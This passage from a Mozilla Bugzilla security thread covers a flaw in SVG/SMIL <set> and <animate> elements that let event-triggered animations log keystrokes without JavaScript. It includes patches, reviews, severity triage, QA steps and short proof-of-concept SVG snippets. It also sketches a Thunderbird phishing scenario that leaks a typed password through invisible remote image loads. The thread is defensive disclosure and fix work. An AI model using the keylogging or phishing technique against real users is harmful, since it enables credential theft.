At that point, the attack email could trigger a phishing password dialog to appear like in my Demo #2, and (if the user is fooled) exploit this bug to make keystrokes trigger (invisible) remote image-loads, thereby sending the user's mail password to a remote attacker.

(In reply to Daniel Holbert [:dholbert] from comment #61)
> Side note: there's a weird invalidation issue when the "dialog" appears.

(FWIW, I filed bug 708155 on this invalidation issue.)
(Also, after discussing comment 63 & 64 with birtles in IRC, we agree that it's safest to disable all event-triggered animations in script-disabled documents, and just whitelist the SMIL-specific events "beginEvent", "endEvent", and "repeatEvent".  I'll post a followup patch to broaden the existing fix along those lines.)
I have been testing this feature for some time as well but failed in finding an exploitable scenario. 

Taken this code, we can create a connection between SVG elements anywhere in the document and a HTML element:

<a id="x" href="#" onmouseover="this.href='#0'">CLICKME</a>
<svg>
    <set attributeName="color" xlink:href="#x" to="green" begin="DOMSubtreeModified" />
</svg>

Once you hover the link it will turn green (onmouseover -> DOM change -> DOMSubtreeModified -> color change). The example shows, how a DOM Level 3 event will trigger the <set> tag to do its job for an element referenced by ID. Unlike the "keylogger" the scope of the event handling will not leak to other elements:

<a id="x" href="#">CLICKME</a>
<a id="y" href="#" onmouseover="this.href=123">CLICKME</a>
<svg>
    <set attributeName="color" xlink:href="#x" to="green" begin="DOMSubtreeModified" />
</svg>

In this second example, hovering the link number two will _not_ turn the first link green. So far so good. 

In general it seems that only CSS values can be set and animated - once we're in an inline-SVG context. I tried to manipulate a set of interesting XML/HTML attributes as well as DOM properties via set and animate but it didn't work so far.
(In reply to Daniel Holbert [:dholbert] from comment #67)
> (Also, after discussing comment 63 & 64 with birtles in IRC, we agree that
> it's safest to disable all event-triggered animations in script-disabled
> documents, and just whitelist the SMIL-specific events "beginEvent",
> "endEvent", and "repeatEvent".  I'll post a followup patch to broaden the
> existing fix along those lines.)

Here's a patch to do that.

This allows event-listener registration for the following sorts of animations:
  <animate begin="otherAnim.repeat(1)" ... />
  <animate begin="otherAnim.repeat" ... />
  <animate begin="otherAnim.repeatEvent"  ... />
  <animate begin="otherAnim.beginEvent"  ... />
  <animate begin="otherAnim.endEvent" ... />

Note that "otherAnim.begin" and "otherAnim.end" will also still work, because they're registered in a different manner (not using event-listeners, but rather using syncbase timing).

I'm about to write a set of automated tests to verify that all of the above events will still work as time values in script-disabled contexts.  I believe this to be the case based on local manual testing, so I'm posting the patch now, with tests coming soon.
Attachment #579822 - Flags: review?(birtles)
Here's a tests patch to prove that SVG event-based animation still works.

Requesting review from...
 - birtles for the SVG files (which are almost identical to each other with the exception of the event that the final animation listens for)
 - jwir3 for the HTML mochitest (since he wrote that framework & knows how it's supposed to work)
Attachment #579922 - Flags: review?(birtles)
Comment on attachment 579922 [details] [diff] [review]
patch 3: tests to prove that whitelisted event-based animation still works

(In reply to Daniel Holbert [:dholbert] from comment #70)
> Here's a tests patch to prove that SVG event-based animation still works.

(by which I mean -- the test demonstrates that the whitelisted events still work as triggers for animation timing, even in the script-disabled context of SVG-as-an-image -- whereas other events ("SVGLoad" in particular) do not work)

> Requesting review from...
[...]
>  - jwir3 for the HTML mochitest (since he wrote that framework & knows how it's supposed to work)

(by "that framework" I meant animationPolling.js)
Attachment #579922 - Flags: review?(sjohnson)
Attachment #579508 - Attachment mime type: message/rfc822 → text/html
Attachment #578751 - Attachment mime type: message/rfc822 → text/html
Attachment #577012 - Attachment description: patch v2a: Parse but don't register → patch 1 v2a: Parse but don't register
(In reply to Mario Heiderich from comment #68)
> I have been testing this feature for some time as well but failed in finding
> an exploitable scenario. 

Thanks! That's good to know.

Still, to be on the safe side, birtles & I (& roc, via IRC) are thinking it'll be safest to disable event-based SMIL animations when scripts are off, as noted in comment 67,  (There are a lot of different events that animations can trigger off of, and there will only be more in the future -- so it's best to close that potential information-leak and whitelist specific events that are known-safe/wanted/useful in script-disabled contexts.)

> In general it seems that only CSS values can be set and animated - once
> we're in an inline-SVG context. I tried to manipulate a set of interesting
> XML/HTML attributes as well as DOM properties via set and animate but it
> didn't work so far.

For CSS, I believe we should only be allowing SMIL animation of the properties listed here:
 http://mxr.mozilla.org/mozilla-central/source/content/smil/nsSMILCSSProperty.cpp#230
If you notice that we're animating other properties as well, I'd be interested to know (though that's not necessarily bad).

And RE XML/XHTML attributes on non-SVG elements -- yup, those aren't SMIL-animatable as of now.  We pass out handles for animating XML attributes via the function "GetAnimatedAttr", and there's basically only one non-trivial implementation of that function -- in nsSVGElement:
 http://mxr.mozilla.org/mozilla-central/source/content/svg/content/src/nsSVGElement.cpp#2126
So that means animation of XML attributes is SVG-specific and has special code for handling each attribute (and if an attribute isn't explicitly handled, we won't animate it).
(In reply to Johnathan Nightingale [:johnath] from comment #59)
> Discussed in triage, but 2 weeks before release cut off, it feels like an
> sg:low here doesn't make the grade. Are we understating the impact?

Raising sg: severity, this could be an unexpected and effective password-phishing attack against Thunderbird users. The only mitigation is that you would first need some social engineering to convince users to allow remote content. In a targeted attack you could forge the sender to be one the users would likely have whitelisted to always allow remote images.

We have chem-spilled for sg:low bugs in the past if the conditions are right. Using this bug may require fooling users but you can fool all the users some of the time, and some of the users all of the time; Thunderbird has enough users that this could result in a lot of sad, sad, people.

Keep in mind this is somewhat a public issue: .mario tweeted the basics before I asked him to file a bug. The Thunderbird password prompt attack came out of a brief IRC chat, I have no doubt dozens of people will reinvent that idea.
status1.9.1: --- → unaffected
status1.9.2: --- → unaffected
status-firefox10: --- → affected
status-firefox11: --- → fixed
status-firefox8: --- → wontfix
status-firefox9: --- → affected
tracking-firefox10: --- → +
tracking-firefox11: --- → +
tracking-firefox9: --- → +
Whiteboard: [sg:low][secr:dveditz] → [sg:moderate][secr:dveditz]
Comment on attachment 577012 [details] [diff] [review]
patch 1 v2a: Parse but don't register

Re-requesting beta approval on patch 1, given comment 73. (see also my justification in comment 66)

(Note: It'd be nice to get patch 2 into beta as well, but that's not as big of a deal, since there's less to be gained by an attacker from "wiretapping" non-keystroke events fired by the document.  patch 2 is just a broadening of patch 1 to cover a wider range of events, as defense-in-depth, basically.)
Attachment #577012 - Flags: approval-mozilla-beta- → approval-mozilla-beta?
Comment on attachment 579822 [details] [diff] [review]
patch 2 v1: bail out of event-listener registration, except for whitelist of SMIL events

Review of attachment 579822 [details] [diff] [review]:
-----------------------------------------------------------------

Looks good! Thanks Daniel!

Given the size of the branch (and especially the comment), I'd prefer moving the added code to a separate method called, e.g. IsWhiteListedEvent, since I think that would making reading the code easier but that's totally just a matter of personal style so feel free to land as is.

e.g.
if (!aTarget->GetOwnerDocument()->IsScriptEnabled() && !IsWhiteListedEvent())
  return;
Attachment #579822 - Flags: review?(birtles) → review+
Comment on attachment 579922 [details] [diff] [review]
patch 3: tests to prove that whitelisted event-based animation still works

Looks good. Only one minor suggestion in addition to the zoom in changes we discussed (thanks for that!):

>diff --git a/image/test/mochitest/lime-anim-100x100.svg b/image/test/mochitest/smil-event-SVGLoad.svg
...
>+  <!-- After 100ms, we zoom in this lime rect and succeed -->
>   <rect x="-600" width="100%" height="100%" fill="lime">
>-    <animate attributeName="x" by="600" dur="0.1" fill="freeze"/>
>+    <animate attributeName="x" by="600" begin="100ms"
>+             dur="0.1" fill="freeze"/>
>+  </rect>
>+
>+  <!-- HOWEVER if "SVGLoad" is recognized as a valid event,
>+       then this orange rect will zoom in first, and cover up
>+       the to-be-zoomed-in lime rect. -->
>+  <rect x="-600" width="100%" height="100%" fill="orange">
>+    <animate attributeName="x" by="600" begin="svg.SVGLoad"
>+             dur="0.1" fill="freeze"/>

This is a really small nit but I think it would help if you mentioned why this
animation must necessarily play first (that is, because all animations are
relative to the SVGLoad event so it's impossible that the other animation could
play first).

Thanks again!
Attachment #579922 - Flags: review?(birtles) → review+
Attachment #579922 - Flags: review?(sjohnson) → review+
(In reply to Brian Birtles (:birtles) from comment #75)
> e.g.
> if (!aTarget->GetOwnerDocument()->IsScriptEnabled() && !IsWhiteListedEvent())
>   return;

Excellent suggestion -- made that change, & carrying forward r+
Attachment #579822 - Attachment is obsolete: true
Attachment #580147 - Flags: review+
(In reply to Brian Birtles (:birtles) from comment #76)
> This is a really small nit but I think it would help if you mentioned why
> this
> animation must necessarily play first (that is, because all animations are
> relative to the SVGLoad event

Good point -- I fixed up the text to make that clearer.  Carrying forward r+.
Attachment #579922 - Attachment is obsolete: true
Attachment #580164 - Flags: review+
Attachment #580164 - Attachment description: patch 3 v2: tests to prove that whitelisted event-based animation still works → patch 3 v2: tests to prove that whitelisted event-based animation still works [r=birtles r=jwir3]
Attachment #579822 - Attachment is obsolete: false
Landed patch 2:
  https://hg.mozilla.org/integration/mozilla-inbound/rev/326f9ad627b8
and tests in patch 3:
  https://hg.mozilla.org/integration/mozilla-inbound/rev/653fa694343e

(Note that the landed tests aren't to check "are we vulnerable" -- that sort of test isn't safe to land until after we've opened this up.  Rather, the landed tests are to check "did the patch break stuff that we didn't want it to break?")
To make approval simpler: here's a rollup of patches 1 and 2.  This is the code that I'd like to land on beta & aurora branches.

(The tests in patch 3 aren't to be backported, since they rely on jwir3's utility js library "animationPolling.js" from bug 666446, and that only exists on trunk right now.)
Attachment #580180 - Flags: approval-mozilla-beta?
Attachment #580180 - Flags: approval-mozilla-aurora?
Attachment #577012 - Flags: approval-mozilla-beta?
Attachment #577012 - Flags: approval-mozilla-aurora?
Comment on attachment 580180 [details] [diff] [review]
rollup of patches 1 & 2 for branch approval

[Triage Comment]
Approving for aurora and beta since this is partially publicly known and deemed safe.
Attachment #580180 - Flags: approval-mozilla-beta?
Attachment #580180 - Flags: approval-mozilla-beta+
Attachment #580180 - Flags: approval-mozilla-aurora?
Attachment #580180 - Flags: approval-mozilla-aurora+
I backed out patches 2 & 3 (from comment 79) because of a leak -- I'd forgotten that NS_NewAtom() leaks if you don't stick its result in a refcounted pointer.

Tweaked non-leaky "patch 2" revision coming up which just sticks the new atoms in nsGkAtomList, since there's no reason not to.
This fixes the leak mentioned in previous comment.

Turns out "repeatEvent" already exists in nsGkAtoms, so this patch just adds  "endEvent" and "beginEvent".
Attachment #580233 - Flags: review?(roc)
Attachment #580233 - Flags: review?(roc) → review?(dbaron)
Comment on attachment 580233 [details] [diff] [review]
followup to fix leak

r=dbaron
Attachment #580233 - Flags: review?(dbaron) → review+
re-landed patch 2:
 https://hg.mozilla.org/integration/mozilla-inbound/rev/68c41bfa7671
and the followup with r=dbaron:
 https://hg.mozilla.org/integration/mozilla-inbound/rev/c82969e90461

I didn't re-land patch 3 (mochitest to prove that whitelisted events are still allowed), because my Try push shows that it times out some small (but nonzero) fraction of the time, and I don't want to introduce an additional randomorange.  My suspicion is that the timeout is due to a bug in animationPolling.js -- this is the first test (AFAIK) to chain more than two animated images together using animationPolling.js, so it might be tickling some aspect of that library that we haven't run into before.

I'll investigate that & land patch 3 at some point soon -- at the latest, when I circle back to land actual regressoin tests for this bug (which I wouldn't be able to land right now without exposing the attack).
(In reply to Daniel Holbert [:dholbert] from comment #85)
> I didn't re-land patch 3 (mochitest to prove that whitelisted events are
> still allowed), because my Try push shows that it times out some small (but
> nonzero) fraction of the time
For the record, that try push is:
 https://tbpl.mozilla.org/?tree=Try&rev=6f750e09589a
and the timeouts look like:
 https://tbpl.mozilla.org/php/getParsedLog.php?id=7816968&tree=Try
 https://tbpl.mozilla.org/php/getParsedLog.php?id=7819723&tree=Try
 https://tbpl.mozilla.org/php/getParsedLog.php?id=7831354&tree=Try
Steps for QA to verify that this bug is fixed...

...IN FIREFOX:
0. (I'm assuming you're using a fresh profile, which has scripts enabled)
1. View attachment 579508 [details]
2. Type "asdf" into the popup that appears
    ---> The text "WARNING: CAUGHT KEYPRESS" should appear & change color as you type
         (This is expected; scripts are enabled, so we allow keypress-triggered animation)
3. Now disable scripts (At "Content" tab in Firefox preferences, uncheck "Enable JavaScript")
4. Repeat steps 1 & 2.
   ----> No "WARNING" should appear.

...IN THUNDERBIRD:
0. Save a copy of attachment 579508 [details] (as a .eml file)
1. In Thunderbird, do "File | Open Saved Message", and pick your saved copy.
2. Type "asdf" into the popup that appears
   ----> No "WARNING" should appear.
Keywords: #relman/triage/needs-info
Whiteboard: [sg:moderate][secr:dveditz] → [sg:moderate][secr:dveditz][QA: see comment 90]
Alias: CVE-2011-3663
Whiteboard: [sg:moderate][secr:dveditz][QA: see comment 90] → [sg:moderate][secr:dveditz][QA: see comment 90][qa+]
Group: core-security
Mozilla/5.0 (Windows NT 6.1; rv:11.0) Gecko/20100101 Firefox/11.0
Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:11.0) Gecko/20100101 Firefox/11.0

Verified on Firefox 11 beta 3 on Mac OS 10.6, Ubuntu 11.10  and Windows 7 using the Daniel's STR in comment 90.
No warning with scripts disabled.Warning with script enabled.
status-firefox11: fixed → verified
Whiteboard: [sg:moderate][secr:dveditz][QA: see comment 90][qa+] → [sg:moderate][secr:dveditz][QA: see comment 90][qa+][qa!:11]
Flags: sec-review+
[adding "SMIL" to summary to make this more findable, for me at least]
Summary: SVG <set> and <animate> elements allow key-logging w/o JavaScript → SVG / SMIL <set> and <animate> elements allow key-logging w/o JavaScript
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: